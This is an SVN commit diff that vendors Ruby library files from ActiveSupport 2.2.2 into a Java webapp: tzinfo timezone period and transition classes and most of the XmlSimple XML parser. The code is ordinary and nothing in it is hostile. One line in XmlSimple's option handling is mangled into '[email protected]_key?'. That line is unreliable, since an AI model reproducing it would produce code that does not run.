+    # (inclusive); otherwise false.
+    def local_after_start?(local)
+      !@start_transition || @start_transition.local_start <= local
+    end
+    
+    # true if the given local DateTime is before the end of the period 
+    # (exclusive); otherwise false.
+    def local_before_end?(local)
+      !@end_transition || @end_transition.local_end > local
+    end
+    
+    # Converts a UTC DateTime to local time based on the offset of this period.
+    def to_local(utc)
+      @offset.to_local(utc)
+    end
+    
+    # Converts a local DateTime to UTC based on the offset of this period.
+    def to_utc(local)
+      @offset.to_utc(local)
+    end
+    
+    # Returns true if this TimezonePeriod is equal to p. This compares the 
+    # start_transition, end_transition and offset using ==.
+    def ==(p)
+      p.respond_to?(:start_transition) && p.respond_to?(:end_transition) &&
+        p.respond_to?(:offset) && start_transition == p.start_transition &&
+        end_transition == p.end_transition && offset == p.offset
+    end
+    
+    # Returns true if this TimezonePeriods is equal to p. This compares the
+    # start_transition, end_transition and offset using eql?
+    def eql?(p)
+      p.respond_to?(:start_transition) && p.respond_to?(:end_transition) &&
+        p.respond_to?(:offset) && start_transition.eql?(p.start_transition) &&
+        end_transition.eql?(p.end_transition) && offset.eql?(p.offset)
+    end
+    
+    # Returns a hash of this TimezonePeriod.
+    def hash
+      result = @start_transition.hash ^ @end_transition.hash
+      result ^= @offset.hash unless @start_transition || @end_transition
+      result       
+    end
+    
+    # Returns internal object state as a programmer-readable string.
+    def inspect
+      result = "#<#{self.class}: #{@start_transition.inspect},#{@end_transition.inspect}"
+      result << ",#{@offset.inspect}>" unless @start_transition || @end_transition
+      result + '>'
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/timezone_transition_info.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/timezone_transition_info.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/timezone_transition_info.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,129 @@
+#--
+# Copyright (c) 2006 Philip Ross
+# 
+# Permission is hereby granted, free of charge, to any person obtaining a copy
+# of this software and associated documentation files (the "Software"), to deal
+# in the Software without restriction, including without limitation the rights
+# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+# copies of the Software, and to permit persons to whom the Software is
+# furnished to do so, subject to the following conditions:
+# 
+# The above copyright notice and this permission notice shall be included in all
+# copies or substantial portions of the Software.
+#
+# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
+# THE SOFTWARE.
+#++
+
+require 'date'
+require 'tzinfo/time_or_datetime'
+
+module TZInfo
+  # Represents an offset defined in a Timezone data file.
+  class TimezoneTransitionInfo #:nodoc:
+    # The offset this transition changes to (a TimezoneOffsetInfo instance).
+    attr_reader :offset
+    
+    # The offset this transition changes from (a TimezoneOffsetInfo instance).
+    attr_reader :previous_offset
+    
+    # The numerator of the DateTime if the transition time is defined as a 
+    # DateTime, otherwise the transition time as a timestamp.
+    attr_reader :numerator_or_time
+    protected :numerator_or_time
+    
+    # Either the denominotor of the DateTime if the transition time is defined
+    # as a DateTime, otherwise nil. 
+    attr_reader :denominator
+    protected :denominator
+    
+    # Creates a new TimezoneTransitionInfo with the given offset, 
+    # previous_offset (both TimezoneOffsetInfo instances) and UTC time. 
+    # if denominator is nil, numerator_or_time is treated as a number of 
+    # seconds since the epoch. If denominator is specified numerator_or_time
+    # and denominator are used to create a DateTime as follows:
+    # 
+    #  DateTime.new!(Rational.send(:new!, numerator_or_time, denominator), 0, Date::ITALY)
+    #
+    # For performance reasons, the numerator and denominator must be specified
+    # in their lowest form.
+    def initialize(offset, previous_offset, numerator_or_time, denominator = nil)
+      @offset = offset
+      @previous_offset = previous_offset
+      @numerator_or_time = numerator_or_time
+      @denominator = denominator
+      
+      @at = nil
+      @local_end = nil
+      @local_start = nil
+    end
+    
+    # A TimeOrDateTime instance representing the UTC time when this transition
+    # occurs.
+    def at
+      unless @at
+        unless @denominator 
+          @at = TimeOrDateTime.new(@numerator_or_time)
+        else
+          r = RubyCoreSupport.rational_new!(@numerator_or_time, @denominator)
+          dt = RubyCoreSupport.datetime_new!(r, 0, Date::ITALY)
+          @at = TimeOrDateTime.new(dt)
+        end
+      end
+      
+      @at
+    end
+    
+    # A TimeOrDateTime instance representing the local time when this transition
+    # causes the previous observance to end (calculated from at using 
+    # previous_offset).
+    def local_end
+      @local_end = at.add_with_convert(@previous_offset.utc_total_offset) unless @local_end      
+      @local_end
+    end
+    
+    # A TimeOrDateTime instance representing the local time when this transition
+    # causes the next observance to start (calculated from at using offset).
+    def local_start
+      @local_start = at.add_with_convert(@offset.utc_total_offset) unless @local_start
+      @local_start
+    end
+    
+    # Returns true if this TimezoneTransitionInfo is equal to the given
+    # TimezoneTransitionInfo. Two TimezoneTransitionInfo instances are 
+    # considered to be equal by == if offset, previous_offset and at are all 
+    # equal.
+    def ==(tti)
+      tti.respond_to?(:offset) && tti.respond_to?(:previous_offset) && tti.respond_to?(:at) &&
+        offset == tti.offset && previous_offset == tti.previous_offset && at == tti.at
+    end
+    
+    # Returns true if this TimezoneTransitionInfo is equal to the given
+    # TimezoneTransitionInfo. Two TimezoneTransitionInfo instances are 
+    # considered to be equal by eql? if offset, previous_offset, 
+    # numerator_or_time and denominator are all equal. This is stronger than ==,
+    # which just requires the at times to be equal regardless of how they were
+    # originally specified.
+    def eql?(tti)
+      tti.respond_to?(:offset) && tti.respond_to?(:previous_offset) &&
+        tti.respond_to?(:numerator_or_time) && tti.respond_to?(:denominator) &&
+        offset == tti.offset && previous_offset == tti.previous_offset &&
+        numerator_or_time == tti.numerator_or_time && denominator == tti.denominator        
+    end
+    
+    # Returns a hash of this TimezoneTransitionInfo instance.
+    def hash
+      @offset.hash ^ @previous_offset.hash ^ @numerator_or_time.hash ^ @denominator.hash
+    end
+    
+    # Returns internal object state as a programmer-readable string.
+    def inspect
+      "#<#{self.class}: #{at.inspect},#{@offset.inspect}>"      
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,33 @@
+#--
+# Copyright (c) 2005-2006 Philip Ross
+# 
+# Permission is hereby granted, free of charge, to any person obtaining a copy
+# of this software and associated documentation files (the "Software"), to deal
+# in the Software without restriction, including without limitation the rights
+# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+# copies of the Software, and to permit persons to whom the Software is
+# furnished to do so, subject to the following conditions:
+# 
+# The above copyright notice and this permission notice shall be included in all
+# copies or substantial portions of the Software.
+#
+# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
+# THE SOFTWARE.
+#++
+
+# Add the directory containing this file to the start of the load path if it
+# isn't there already.
+$:.unshift(File.dirname(__FILE__)) unless
+  $:.include?(File.dirname(__FILE__)) || $:.include?(File.expand_path(File.dirname(__FILE__)))
+
+require 'tzinfo/timezone'
+# require 'tzinfo/country'
+# require 'tzinfo/tzdataparser'
+# require 'tzinfo/timezone_proxy'
+require 'tzinfo/data_timezone'
+require 'tzinfo/linked_timezone'
\ No newline at end of file

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/xml-simple-1.0.11/xmlsimple.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/xml-simple-1.0.11/xmlsimple.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/xml-simple-1.0.11/xmlsimple.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,1021 @@
+# = XmlSimple
+#
+# Author::    Maik Schmidt <contact at maik-schmidt.de>
+# Copyright:: Copyright (c) 2003-2006 Maik Schmidt
+# License::   Distributes under the same terms as Ruby.
+#
+require 'rexml/document'
+require 'stringio'
+
+# Easy API to maintain XML (especially configuration files).
+class XmlSimple
+  include REXML
+
+  @@VERSION = '1.0.11'
+
+  # A simple cache for XML documents that were already transformed
+  # by xml_in.
+  class Cache
+    # Creates and initializes a new Cache object.
+    def initialize
+      @mem_share_cache = {}
+      @mem_copy_cache  = {}
+    end
+
+    # Saves a data structure into a file.
+    # 
+    # data::
+    #   Data structure to be saved.
+    # filename::
+    #   Name of the file belonging to the data structure.
+    def save_storable(data, filename)
+      cache_file = get_cache_filename(filename)
+      File.open(cache_file, "w+") { |f| Marshal.dump(data, f) }
+    end
+
+    # Restores a data structure from a file. If restoring the data
+    # structure failed for any reason, nil will be returned.
+    #
+    # filename::
+    #   Name of the file belonging to the data structure.
+    def restore_storable(filename)
+      cache_file = get_cache_filename(filename)
+      return nil unless File::exist?(cache_file)
+      return nil unless File::mtime(cache_file).to_i > File::mtime(filename).to_i
+      data = nil
+      File.open(cache_file) { |f| data = Marshal.load(f) }
+      data
+    end
+
+    # Saves a data structure in a shared memory cache.
+    #
+    # data::
+    #   Data structure to be saved.
+    # filename::
+    #   Name of the file belonging to the data structure.
+    def save_mem_share(data, filename)
+      @mem_share_cache[filename] = [Time::now.to_i, data]
+    end
+
+    # Restores a data structure from a shared memory cache. You
+    # should consider these elements as "read only". If restoring
+    # the data structure failed for any reason, nil will be
+    # returned.
+    #
+    # filename::
+    #   Name of the file belonging to the data structure.
+    def restore_mem_share(filename)
+      get_from_memory_cache(filename, @mem_share_cache)
+    end
+
+    # Copies a data structure to a memory cache.
+    #
+    # data::
+    #   Data structure to be copied.
+    # filename::
+    #   Name of the file belonging to the data structure.
+    def save_mem_copy(data, filename)
+      @mem_share_cache[filename] = [Time::now.to_i, Marshal.dump(data)]
+    end
+
+    # Restores a data structure from a memory cache. If restoring
+    # the data structure failed for any reason, nil will be
+    # returned.
+    #
+    # filename::
+    #   Name of the file belonging to the data structure.
+    def restore_mem_copy(filename)
+      data = get_from_memory_cache(filename, @mem_share_cache)
+      data = Marshal.load(data) unless data.nil?
+      data
+    end
+
+    private
+
+    # Returns the "cache filename" belonging to a filename, i.e.
+    # the extension '.xml' in the original filename will be replaced
+    # by '.stor'. If filename does not have this extension, '.stor'
+    # will be appended.
+    #
+    # filename::
+    #   Filename to get "cache filename" for.
+    def get_cache_filename(filename)
+      filename.sub(/(\.xml)?$/, '.stor')
+    end
+
+    # Returns a cache entry from a memory cache belonging to a
+    # certain filename. If no entry could be found for any reason,
+    # nil will be returned.
+    #
+    # filename::
+    #   Name of the file the cache entry belongs to.
+    # cache::
+    #   Memory cache to get entry from.
+    def get_from_memory_cache(filename, cache)
+      return nil unless cache[filename]
+      return nil unless cache[filename][0] > File::mtime(filename).to_i
+      return cache[filename][1]
+    end
+  end
+
+  # Create a "global" cache.
+  @@cache = Cache.new
+
+  # Creates and initializes a new XmlSimple object.
+  # 
+  # defaults::
+  #   Default values for options.
+  def initialize(defaults = nil)
+    unless defaults.nil? || defaults.instance_of?(Hash)
+      raise ArgumentError, "Options have to be a Hash."
+    end
+    @default_options = normalize_option_names(defaults, (KNOWN_OPTIONS['in'] + KNOWN_OPTIONS['out']).uniq)
+    @options = Hash.new
+    @_var_values = nil
+  end
+
+  # Converts an XML document in the same way as the Perl module XML::Simple.
+  #
+  # string::
+  #   XML source. Could be one of the following:
+  #
+  #   - nil: Tries to load and parse '<scriptname>.xml'.
+  #   - filename: Tries to load and parse filename.
+  #   - IO object: Reads from object until EOF is detected and parses result.
+  #   - XML string: Parses string.
+  #   
+  # options::
+  #   Options to be used.
+  def xml_in(string = nil, options = nil)
+    handle_options('in', options)
+
+    # If no XML string or filename was supplied look for scriptname.xml.
+    if string.nil?
+      string = File::basename($0)
+      string.sub!(/\.[^.]+$/, '')
+      string += '.xml'
+
+      directory = File::dirname($0)
+      @options['searchpath'].unshift(directory) unless directory.nil?
+    end
+
+    if string.instance_of?(String)
+      if string =~ /<.*?>/m
+        @doc = parse(string)
+      elsif string == '-'
+        @doc = parse($stdin.readlines.to_s)
+      else
+        filename = find_xml_file(string, @options['searchpath'])
+
+        if @options.has_key?('cache')
+          @options['cache'].each { |scheme|
+            case(scheme)
+            when 'storable'
+              content = @@cache.restore_storable(filename)
+            when 'mem_share'
+              content = @@cache.restore_mem_share(filename)
+            when 'mem_copy'
+              content = @@cache.restore_mem_copy(filename)
+            else
+              raise ArgumentError, "Unsupported caching scheme: <#{scheme}>."
+            end
+            return content if content
+          }
+        end
+        
+        @doc = load_xml_file(filename)
+      end
+    elsif string.kind_of?(IO) || string.kind_of?(StringIO)
+      @doc = parse(string.readlines.to_s)
+    else
+      raise ArgumentError, "Could not parse object of type: <#{string.type}>."
+    end
+
+    result = collapse(@doc.root)
+    result = @options['keeproot'] ? merge({}, @doc.root.name, result) : result
+    put_into_cache(result, filename)
+    result
+  end
+
+  # This is the functional version of the instance method xml_in.
+  def XmlSimple.xml_in(string = nil, options = nil)
+    xml_simple = XmlSimple.new
+    xml_simple.xml_in(string, options)
+  end
+  
+  # Converts a data structure into an XML document.
+  #
+  # ref::
+  #   Reference to data structure to be converted into XML.
+  # options::
+  #   Options to be used.
+  def xml_out(ref, options = nil)
+    handle_options('out', options)
+    if ref.instance_of?(Array)
+      ref = { @options['anonymoustag'] => ref }
+    end
+
+    if @options['keeproot']
+      keys = ref.keys
+      if keys.size == 1
+        ref = ref[keys[0]]
+        @options['rootname'] = keys[0]
+      end
+    elsif @options['rootname'] == ''
+      if ref.instance_of?(Hash)
+        refsave = ref
+        ref = {}
+        refsave.each { |key, value|
+          if !scalar(value)
+            ref[key] = value
+          else
+            ref[key] = [ value.to_s ]
+          end
+        }
+      end
+    end
+
+    @ancestors = []
+    xml = value_to_xml(ref, @options['rootname'], '')
+    @ancestors = nil
+
+    if @options['xmldeclaration']
+      xml = @options['xmldeclaration'] + "\n" + xml
+    end
+
+    if @options.has_key?('outputfile')
+      if @options['outputfile'].kind_of?(IO)
+        return @options['outputfile'].write(xml)
+      else
+        File.open(@options['outputfile'], "w") { |file| file.write(xml) }
+      end
+    end
+    xml
+  end
+
+  # This is the functional version of the instance method xml_out.
+  def XmlSimple.xml_out(hash, options = nil)
+    xml_simple = XmlSimple.new
+    xml_simple.xml_out(hash, options)
+  end
+  
+  private
+
+  # Declare options that are valid for xml_in and xml_out.
+  KNOWN_OPTIONS = {
+    'in'  => %w(
+      keyattr keeproot forcecontent contentkey noattr
+      searchpath forcearray suppressempty anonymoustag
+      cache grouptags normalisespace normalizespace
+      variables varattr keytosymbol
+    ),
+    'out' => %w(
+      keyattr keeproot contentkey noattr rootname
+      xmldeclaration outputfile noescape suppressempty
+      anonymoustag indent grouptags noindent
+    )
+  }
+
+  # Define some reasonable defaults.
+  DEF_KEY_ATTRIBUTES  = []
+  DEF_ROOT_NAME       = 'opt'
+  DEF_CONTENT_KEY     = 'content'
+  DEF_XML_DECLARATION = "<?xml version='1.0' standalone='yes'?>"
+  DEF_ANONYMOUS_TAG   = 'anon'
+  DEF_FORCE_ARRAY     = true
+  DEF_INDENTATION     = '  '
+  DEF_KEY_TO_SYMBOL   = false
+  
+  # Normalizes option names in a hash, i.e., turns all
+  # characters to lower case and removes all underscores.
+  # Additionally, this method checks, if an unknown option
+  # was used and raises an according exception.
+  #
+  # options::
+  #   Hash to be normalized.
+  # known_options::
+  #   List of known options.
+  def normalize_option_names(options, known_options)
+    return nil if options.nil?
+    result = Hash.new
+    options.each { |key, value|
+      lkey = key.downcase
+      lkey.gsub!(/_/, '')
+      if !known_options.member?(lkey)
+        raise ArgumentError, "Unrecognised option: #{lkey}."
+      end
+      result[lkey] = value
+    }
+    result
+  end
+  
+  # Merges a set of options with the default options.
+  # 
+  # direction::
+  #  'in':  If options should be handled for xml_in.
+  #  'out': If options should be handled for xml_out.
+  # options::
+  #   Options to be merged with the default options.
+  def handle_options(direction, options)
+    @options = options || Hash.new
+
+    raise ArgumentError, "Options must be a Hash!" unless @options.instance_of?(Hash)
+
+    unless KNOWN_OPTIONS.has_key?(direction)
+      raise ArgumentError, "Unknown direction: <#{direction}>."
+    end
+
+    known_options = KNOWN_OPTIONS[direction]
+    @options = normalize_option_names(@options, known_options)
+
+    unless @default_options.nil?
+      known_options.each { |option|
+        unless @options.has_key?(option)
+          if @default_options.has_key?(option)
+            @options[option] = @default_options[option]
+          end
+        end
+      }
+    end
+
+    unless @options.has_key?('noattr')
+        @options['noattr'] = false
+    end
+
+    if @options.has_key?('rootname')
+      @options['rootname'] = '' if @options['rootname'].nil?
+    else
+      @options['rootname'] = DEF_ROOT_NAME
+    end
+
+    if @options.has_key?('xmldeclaration') && @options['xmldeclaration'] == true
+      @options['xmldeclaration'] = DEF_XML_DECLARATION
+    end
+
+    @options['keytosymbol'] = DEF_KEY_TO_SYMBOL unless @options.has_key?('keytosymbol')
+
+    if @options.has_key?('contentkey')
+      if @options['contentkey'] =~ /^-(.*)$/
+        @options['contentkey']    = $1
+        @options['collapseagain'] = true
+      end
+    else
+      @options['contentkey'] = DEF_CONTENT_KEY
+    end
+
+    unless @options.has_key?('normalisespace')
+      @options['normalisespace'] = @options['normalizespace']
+    end
+    @options['normalisespace'] = 0 if @options['normalisespace'].nil?
+
+    if @options.has_key?('searchpath')
+      unless @options['searchpath'].instance_of?(Array)
+        @options['searchpath'] = [ @options['searchpath'] ]
+      end
+    else
+      @options['searchpath'] = []
+    end
+
+    if @options.has_key?('cache') && scalar(@options['cache'])
+      @options['cache'] = [ @options['cache'] ]
+    end
+
+    @options['anonymoustag'] = DEF_ANONYMOUS_TAG unless @options.has_key?('anonymoustag')
+
+    if [email protected]_key?('indent') || @options['indent'].nil?
+      @options['indent'] = DEF_INDENTATION
+    end
+
+    @options['indent'] = '' if @options.has_key?('noindent')
+
+    # Special cleanup for 'keyattr' which could be an array or
+    # a hash or left to default to array.
+    if @options.has_key?('keyattr')
+      if !scalar(@options['keyattr'])
+        # Convert keyattr => { elem => '+attr' }
+        #      to keyattr => { elem => ['attr', '+'] }
+        if @options['keyattr'].instance_of?(Hash)
+          @options['keyattr'].each { |key, value|
+            if value =~ /^([-+])?(.*)$/
+              @options['keyattr'][key] = [$2, $1 ? $1 : '']
+            end
+          }
+        elsif !@options['keyattr'].instance_of?(Array)
+          raise ArgumentError, "'keyattr' must be String, Hash, or Array!"
+        end
+      else
+        @options['keyattr'] = [ @options['keyattr'] ]
+      end
+    else
+      @options['keyattr'] = DEF_KEY_ATTRIBUTES
+    end
+
+    if @options.has_key?('forcearray')
+      if @options['forcearray'].instance_of?(Regexp)
+        @options['forcearray'] = [ @options['forcearray'] ]
+      end
+
+      if @options['forcearray'].instance_of?(Array)
+        force_list = @options['forcearray']
+        unless force_list.empty?
+          @options['forcearray'] = {}
+          force_list.each { |tag|
+            if tag.instance_of?(Regexp)
+              unless @options['forcearray']['_regex'].instance_of?(Array)
+                @options['forcearray']['_regex'] = []
+              end
+              @options['forcearray']['_regex'] << tag
+            else
+              @options['forcearray'][tag] = true
+            end
+          }
+        else
+          @options['forcearray'] = false
+        end
+      else
+        @options['forcearray'] = @options['forcearray'] ? true : false
+      end
+    else
+      @options['forcearray'] = DEF_FORCE_ARRAY
+    end
+
+    if @options.has_key?('grouptags') && !@options['grouptags'].instance_of?(Hash)
+      raise ArgumentError, "Illegal value for 'GroupTags' option - expected a Hash."
+    end
+
+    if @options.has_key?('variables') && !@options['variables'].instance_of?(Hash)
+      raise ArgumentError, "Illegal value for 'Variables' option - expected a Hash."
+    end
+
+    if @options.has_key?('variables')
+      @_var_values = @options['variables']
+    elsif @options.has_key?('varattr')
+      @_var_values = {}
+    end
+  end
+
+  # Actually converts an XML document element into a data structure.
+  #
+  # element::
+  #   The document element to be collapsed.
+  def collapse(element)
+    result = @options['noattr'] ? {} : get_attributes(element)
+
+    if @options['normalisespace'] == 2
+      result.each { |k, v| result[k] = normalise_space(v) }
+    end
+
+    if element.has_elements?
+      element.each_element { |child|
+        value = collapse(child)
+        if empty(value) && (element.attributes.empty? || @options['noattr'])
+          next if @options.has_key?('suppressempty') && @options['suppressempty'] == true
+        end
+        result = merge(result, child.name, value)
+      }
+      if has_mixed_content?(element)
+        # normalisespace?
+        content = element.texts.map { |x| x.to_s }
+        content = content[0] if content.size == 1
+        result[@options['contentkey']] = content
+      end
+    elsif element.has_text? # i.e. it has only text.
+      return collapse_text_node(result, element)
+    end
+
+    # Turn Arrays into Hashes if key fields present.
+    count = fold_arrays(result)
+
+    # Disintermediate grouped tags.
+    if @options.has_key?('grouptags')
+      result.each { |key, value|
+        next unless (value.instance_of?(Hash) && (value.size == 1))
+        child_key, child_value = value.to_a[0]
+        if @options['grouptags'][key] == child_key
+          result[key] = child_value
+        end
+      }
+    end
+    
+    # Fold Hashes containing a single anonymous Array up into just the Array.
+    if count == 1 
+      anonymoustag = @options['anonymoustag']
+      if result.has_key?(anonymoustag) && result[anonymoustag].instance_of?(Array)
+        return result[anonymoustag]
+      end
+    end
+
+    if result.empty? && @options.has_key?('suppressempty')
+      return @options['suppressempty'] == '' ? '' : nil
+    end
+
+    result
+  end
+
+  # Collapses a text node and merges it with an existing Hash, if
+  # possible.
+  # Thanks to Curtis Schofield for reporting a subtle bug.
+  #
+  # hash::
+  #   Hash to merge text node value with, if possible.
+  # element::
+  #   Text node to be collapsed.
+  def collapse_text_node(hash, element)
+    value = node_to_text(element)
+    if empty(value) && !element.has_attributes?
+      return {}
+    end
+
+    if element.has_attributes? && !@options['noattr']
+      return merge(hash, @options['contentkey'], value)
+    else
+      if @options['forcecontent']
+        return merge(hash, @options['contentkey'], value)
+      else
+        return value
+      end
+    end
+  end
+
+  # Folds all arrays in a Hash.
+  # 
+  # hash::
+  #   Hash to be folded.
+  def fold_arrays(hash)
+    fold_amount = 0
+    keyattr = @options['keyattr']
+    if (keyattr.instance_of?(Array) || keyattr.instance_of?(Hash))
+      hash.each { |key, value|
+        if value.instance_of?(Array)
+          if keyattr.instance_of?(Array)
+            hash[key] = fold_array(value)
+          else
+            hash[key] = fold_array_by_name(key, value)
+          end
+          fold_amount += 1
+        end
+      }
+    end
+    fold_amount
+  end
+
+  # Folds an Array to a Hash, if possible. Folding happens
+  # according to the content of keyattr, which has to be
+  # an array.
+  #
+  # array::
+  #   Array to be folded.
+  def fold_array(array)
+    hash = Hash.new
+    array.each { |x|
+      return array unless x.instance_of?(Hash)
+      key_matched = false
+      @options['keyattr'].each { |key|
+        if x.has_key?(key)
+          key_matched = true
+          value = x[key]
+          return array if value.instance_of?(Hash) || value.instance_of?(Array)
+          value = normalise_space(value) if @options['normalisespace'] == 1
+          x.delete(key)
+          hash[value] = x
+          break
+        end
+      }
+      return array unless key_matched
+    }
+    hash = collapse_content(hash) if @options['collapseagain']
+    hash
+  end
+  
+  # Folds an Array to a Hash, if possible. Folding happens
+  # according to the content of keyattr, which has to be
+  # a Hash.
+  #
+  # name::
+  #   Name of the attribute to be folded upon.
+  # array::
+  #   Array to be folded.
+  def fold_array_by_name(name, array)
+    return array unless @options['keyattr'].has_key?(name)
+    key, flag = @options['keyattr'][name]
+
+    hash = Hash.new
+    array.each { |x|
+      if x.instance_of?(Hash) && x.has_key?(key)
+        value = x[key]
+        return array if value.instance_of?(Hash) || value.instance_of?(Array)
+        value = normalise_space(value) if @options['normalisespace'] == 1
+        hash[value] = x
+        hash[value]["-#{key}"] = hash[value][key] if flag == '-'
+        hash[value].delete(key) unless flag == '+'
+      else
+        $stderr.puts("Warning: <#{name}> element has no '#{key}' attribute.")
+        return array
+      end
+    }
+    hash = collapse_content(hash) if @options['collapseagain']
+    hash
+  end
+
+  # Tries to collapse a Hash even more ;-)
+  #
+  # hash::
+  #   Hash to be collapsed again.
+  def collapse_content(hash)
+    content_key = @options['contentkey']
+    hash.each_value { |value|
+      return hash unless value.instance_of?(Hash) && value.size == 1 && value.has_key?(content_key)
+      hash.each_key { |key| hash[key] = hash[key][content_key] }
+    }
+    hash
+  end
+  
+  # Adds a new key/value pair to an existing Hash. If the key to be added
+  # does already exist and the existing value associated with key is not
+  # an Array, it will be converted into an Array. Then the new value is
+  # appended to that Array.
+  #
+  # hash::
+  #   Hash to add key/value pair to.
+  # key::
+  #   Key to be added.
+  # value::
+  #   Value to be associated with key.
+  def merge(hash, key, value)
+    if value.instance_of?(String)
+      value = normalise_space(value) if @options['normalisespace'] == 2
+
+      # do variable substitutions
+      unless @_var_values.nil? || @_var_values.empty?
+        value.gsub!(/\$\{(\w+)\}/) { |x| get_var($1) }
+      end
+      
+      # look for variable definitions
+      if @options.has_key?('varattr')
+        varattr = @options['varattr']
+        if hash.has_key?(varattr)
+          set_var(hash[varattr], value)
+        end
+      end
+    end
+    
+    #patch for converting keys to symbols
+    if @options.has_key?('keytosymbol')
+      if @options['keytosymbol'] == true
+        key = key.to_s.downcase.to_sym
+      end
+    end
+    
+    if hash.has_key?(key)
+      if hash[key].instance_of?(Array)
+        hash[key] << value
+      else
+        hash[key] = [ hash[key], value ]
+      end
+    elsif value.instance_of?(Array) # Handle anonymous arrays.
+      hash[key] = [ value ]
+    else
+      if force_array?(key)
+        hash[key] = [ value ]
+      else
+        hash[key] = value
+      end
+    end
+    hash
+  end
+  
+  # Checks, if the 'forcearray' option has to be used for
+  # a certain key.
+  def force_array?(key)
+    return false if key == @options['contentkey']
+    return true if @options['forcearray'] == true
+    forcearray = @options['forcearray']
+    if forcearray.instance_of?(Hash)
+      return true if forcearray.has_key?(key) 
+      return false unless forcearray.has_key?('_regex')
+      forcearray['_regex'].each { |x| return true if key =~ x }
+    end
+    return false
+  end
+  
+  # Converts the attributes array of a document node into a Hash.
+  # Returns an empty Hash, if node has no attributes.
+  #
+  # node::
+  #   Document node to extract attributes from.
+  def get_attributes(node)
+    attributes = {}
+    node.attributes.each { |n,v| attributes[n] = v }
+    attributes
+  end
+  
+  # Determines, if a document element has mixed content.
+  #
+  # element::
+  #   Document element to be checked.
+  def has_mixed_content?(element)
+    if element.has_text? && element.has_elements?
+      return true if element.texts.join('') !~ /^\s*$/s
+    end
+    false
+  end
+  
+  # Called when a variable definition is encountered in the XML.
+  # A variable definition looks like
+  #    <element attrname="name">value</element>
+  # where attrname matches the varattr setting.
+  def set_var(name, value)
+    @_var_values[name] = value
+  end
+
+  # Called during variable substitution to get the value for the
+  # named variable.
+  def get_var(name)
+    if @_var_values.has_key?(name)
+      return @_var_values[name]
+    else
+      return "${#{name}}"
+    end
+  end
+  
+  # Recurses through a data structure building up and returning an
+  # XML representation of that structure as a string.
+  #
+  # ref::
+  #   Reference to the data structure to be encoded.
+  # name::
+  #   The XML tag name to be used for this item.
+  # indent::
+  #   A string of spaces for use as the current indent level.
+  def value_to_xml(ref, name, indent)
+    named = !name.nil? && name != ''
+    nl    = @options.has_key?('noindent') ? '' : "\n"
+
+    if !scalar(ref)
+      if @ancestors.member?(ref)
+        raise ArgumentError, "Circular data structures not supported!"
+      end
+      @ancestors << ref
+    else
+      if named
+        return [indent, '<', name, '>', @options['noescape'] ? ref.to_s : escape_value(ref.to_s), '</', name, '>', nl].join('')
+      else
+        return ref.to_s + nl
+      end
+    end
+
+    # Unfold hash to array if possible.
+    if ref.instance_of?(Hash) && !ref.empty? && !@options['keyattr'].empty? && indent != ''
+      ref = hash_to_array(name, ref)
+    end
+
+    result = []
+    if ref.instance_of?(Hash)
+      # Reintermediate grouped values if applicable.
+      if @options.has_key?('grouptags')
+        ref.each { |key, value|
+          if @options['grouptags'].has_key?(key)
+            ref[key] = { @options['grouptags'][key] => value }
+          end
+        }
+      end
+      
+      nested = []
+      text_content = nil
+      if named
+        result << indent << '<' << name
+      end
+
+      if !ref.empty?
+        ref.each { |key, value|
+          next if !key.nil? && key[0, 1] == '-'
+          if value.nil?
+            unless @options.has_key?('suppressempty') && @options['suppressempty'].nil?
+              raise ArgumentError, "Use of uninitialized value!"
+            end
+            value = {}
+          end
+
+          if !scalar(value) || @options['noattr']
+            nested << value_to_xml(value, key, indent + @options['indent'])
+          else
+            value = value.to_s
+            value = escape_value(value) unless @options['noescape']
+            if key == @options['contentkey']
+              text_content = value
+            else
+              result << ' ' << key << '="' << value << '"'
+            end
+          end
